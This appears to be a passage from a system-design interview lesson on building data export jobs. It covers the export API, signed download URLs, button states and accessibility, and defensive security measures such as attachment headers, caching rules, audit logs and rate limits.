EndpointPurposeReturns
POST /api/exportsStart a job from an ExportRequest, with Idempotency-Key202 and the job, or the reused job; 422 too_many_rows; 429 when over the limit
GET /api/exports/:idPoll one jobThe job with status and progress; Retry-After hint while running
GET /api/exports?limit=20"Your exports" list, newest firstJobs plus a cursor for the next page
POST /api/exports/:id/cancelStop a queued or running jobThe job as cancelled
POST /api/exports/:id/downloadMint a signed URL now{ url, expiresAt }, valid about 15 minutes; 410 once the file has expired
SSE export.updatedPush status changes on the app's stream{ id, status, rowsWritten }

Why a separate download endpoint instead of putting the signed URL on the job? A URL stored on the job and shown in the list would expire after 15 minutes while the page sits open. Minting it on click means the link is always fresh, the permission check runs again (the user may have lost access since), and every download leaves an audit entry.

Check your understanding · Exercise 7

Why does the export jobs store live at the app level instead of inside the Export button (select all that apply)? Select all that apply.

Delivering the file: button states, accessibility and security

The Export button has four states, and each must say what is happening in words: idle ("Export"), preparing ("Preparing export, 38%", still focusable, with a Cancel next to it), ready ("Download payments_failed_2026-01-01_to_2026-03-31.csv, 18 MB"), and failed ("Export failed: too many rows. Narrow the date range" with Retry). After 30 seconds of preparing, the button returns to idle with a line "Still working. We'll email you and it will be in Your exports", so the user is free to leave.

The file name is part of the UX. export (7).csv in a Downloads folder is useless a week later. Build it from the report name, the main filter, and the resolved date range: payments_failed_2026-01-01_to_2026-03-31.csv. Keep it ASCII-safe, and send it in the Content-Disposition header (with the RFC 6266 filename* form for non-ASCII names) so it is right even when the download comes from storage.

Accessibility

  • Announce, don't move focus. When a job finishes, put "Payments export is ready to download" in a polite live region (role="status"), so a screen reader says it at the next pause without interrupting. Failures can use the same region; they are not emergencies. See aria-patterns and screen-readers.
  • A real link to download. The ready state is an a element or a button the user can Tab to and press, labelled with the file name and size. Moving focus to it automatically would yank a keyboard user away from what they were doing.
  • No surprise downloads. Only start a download from a click on Export or Download. A file appearing minutes later on another page confuses everyone, screen reader users most.
  • Progress is text too. Give the progress bar a text alternative like "1.2 million of about 4.1 million rows", and announce start, finish and failure, not every percent.

Security: an export is a bulk data leak waiting to happen

  • Short-lived signed URLs. The file sits in a private bucket. On click, the server signs a URL for that one object, valid about 15 minutes. S3 (with Signature Version 4) and Google Cloud Storage both allow up to 7 days, and an S3 URL signed with temporary credentials dies when they do; use far less. S3 checks expiry when a request starts, so a slow 1 GB download that began in time still finishes, while a forwarded link stops working soon after.
  • Attachment, never inline. Serve with Content-Disposition: attachment, the correct Content-Type and X-Content-Type-Options: nosniff, from a separate download domain. A CSV or HTML-looking file opened inline in your app's origin is an XSS risk.
  • No shared caching. Send Cache-Control: private, no-store so a CDN or proxy never stores one customer's file for another (see http-caching and cdn-caching).
  • Audit log. Record who exported which report, with which filters and columns, how many rows, and every download with its IP. When a sales rep leaves with the customer list, this is how you find out.
  • Rate limits. On top of the running-job limit, cap jobs per user (for example 10 per hour) and answer 429 with Retry-After. Exports are the most expensive request in the product and the easiest way to scrape it.
Downloading a finished export, as a sequence between the user, the client, the export API, and storage. The user clicks Download. The client sends POST download. The API answers with a signed URL valid 15 minutes. The client navigates to the URL and storage answers 200 with Content-Disposition attachment, and the file saves. A week later the user clicks Download again. The client sends POST download. The API answers 410 expired, because storage deleted the file after 7 days. The client shows Expired, export again.UserClientAPIStorageclicks DownloadPOST /downloadURL, 15 minGET signed URL200 attachmentDownload againPOST /download410 expiredExport again?
The URL is minted on each click, so it is always fresh and every download is checked and logged. The failure path ends in a clear next step, not a raw 403 from the storage bucket.

Check your understanding · Exercise 8

An export finishes while a screen reader user is filling in a form on another page. What should happen (select all that apply)? Select all that apply.

Running it in the interview

This is an easy problem, which means the interviewer expects you to finish the basics quickly and then show depth on two or three of the hard parts. A good 35 minute plan:

  1. Minutes 0 to 5: scope. Ask for the biggest export, where the data lives, which formats, and who may export what. Write the size range on the board: 50 rows to 5 million.
  2. Minutes 5 to 12: the split. Draw the client Blob path and the server job path, and say when each one runs. This is the decision the whole design hangs on.
  3. Minutes 12 to 20: the job. Draw the sequence: POST returns 202, worker, storage, polling or push, signed URL. Then the state machine with cancel and expiry.
  4. Minutes 20 to 30: depth. Pick what the interviewer reacts to: formats and CSV injection, streaming 5 million rows, or exporting exactly what the user sees with permissions and a snapshot.
  5. Minutes 30 to 35: delivery. Button states, live region, file name, security headers, audit log.

Say the numbers out loud: "200 bytes a row, so 5 million rows is about 1 GB, which is why it can't be built in a tab." Numbers turn an opinion into a decision.

Think first

Follow-up: "Now users want this report emailed every Monday." What changes?

Think first

Follow-up: "A customer says their order ids look wrong in Excel." What happened, and what do you offer?

Summary

  • Size decides the path: build a Blob in the browser only when every row the file needs is already loaded and small (about 10,000 rows); everything else is an async server job.
  • A job is POST returning 202 and an id, a worker streaming to object storage, and a client that hears back by polling with backoff or push while watching, and by email when it isn't.
  • Export the view, not the page: reuse the table's filters, sort, columns and time zone, freeze relative dates, add a tiebreaker sort, and record a snapshot time.
  • Permissions are checked where the file is built: the server intersects requested columns with the role's columns and applies the list API's row scope.
  • CSV for Excel needs UTF-8 with a BOM, a locale-aware delimiter option, plain numbers, ISO dates, and formula escaping for text cells starting with =, +, -, @, tab, CR or LF.
  • Big exports stream from a database cursor through gzip into a multipart upload, with backpressure; memory stays flat, and row limits fail fast with a clear message.
  • Deliver with short-lived signed URLs minted on click, Content-Disposition: attachment, Cache-Control: private, no-store, an audit log, rate limits, and a polite live-region announcement instead of surprise downloads.

Check your answer

Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.

Junior 0 of 3
Mid-level 0 of 4

References

Concepts behind it

Try next